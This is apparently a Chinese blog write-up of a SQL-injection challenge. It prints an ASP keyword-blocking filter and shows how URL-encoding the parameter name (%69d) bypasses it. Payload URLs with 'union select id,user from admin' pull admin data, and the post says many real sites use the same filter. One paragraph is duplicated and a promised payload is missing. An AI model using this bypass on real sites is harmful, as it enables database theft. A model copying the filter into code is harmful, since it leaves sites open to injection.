今天看到一个难题:
http://www.cnnb.net.cn/lake2/Challenge/challenge.asp?id=1
(呵呵,有空大家也可以去试试自己的实力)
这个本来是不想公布的,但是不写手又痒痒,所以才写这个文章,用来自勉!
大家一定要试过后,才来看我的解答!
-----------------------------秘密文件---------------------------------
他有个检测函数放在check.inc中//
看看吧:“
sub check()
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"union")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x)))," ")<>0 Then
response.Write("嘿嘿,不要你注射!屏蔽了关键字,但是这个屏蔽程序却不好——如何突破呢?")
Response.End
End If
End If
Next
end sub
粗略一看,过滤的很好。所以白天试了很久都不能成功,所以后来乖乖的和老师做论文去了。。。(痛苦)
晚上仔细的研究了一下,发现有点突破:
关键是这一句:
Fy_Url=Request.ServerVariables("QUERY_STRING")
通过servervalue/Fy_Cs(Fy_x)来判断的!
恩,有点问题,假如Fy_Url不符合呢?后面的过滤不就是枉然吗?
通过这个思路”我仔细的提交了下面的代码:
http://www.cnnb.net.cn/lake2/Challenge/challenge.asp?%69d=1%20and%201=1
终于是成功了!
然后就轻车熟路了。
用 nbsi2看看吧:发现有错误,[注入有错误,请联系作者]
狗屁才联系作者呢,
呵呵,当然还有别的突破办法的!通过nbsi的检测,发现有两个字段: id/user。所以我继续提交如此代码:
终于是成功了!
然后就轻车熟路了。
用 nbsi2看看吧:发现有错误,[注入有错误,请联系作者]
狗屁才联系作者呢,
呵呵,当然还有别的突破办法的!通过nbsi的检测,发现有两个字段: id/user。所以我继续提交如此代码:
http://www.cnnb.net.cn/lake2/Challenge/challenge.asp?%69d=1 and 1=2 union select id,user from admin
编码后是这样的:
提交后,我感觉我是我一生最快乐的画面了:
哦,怪不得nbsi 都检测不出来呢,原来有这么多的字,哎
哈哈,还等什么?有兴趣的去加吧:——)
--------------------------------文件结束----------------------------
还有,请朋友们不要转载!维护lake2牛人的荣誉,也为了我们自己!
后来发现利用这样防注入的代码的人很多;
很多站都存在这样的漏洞;
我不知道这个程序是谁写的;
但是我肯定这肯定是作者留的后门。
哎,现在的人呀!~~~ 我发现还是晚上学习才好 哎,我又离题了
浙公网安备 33010602011771号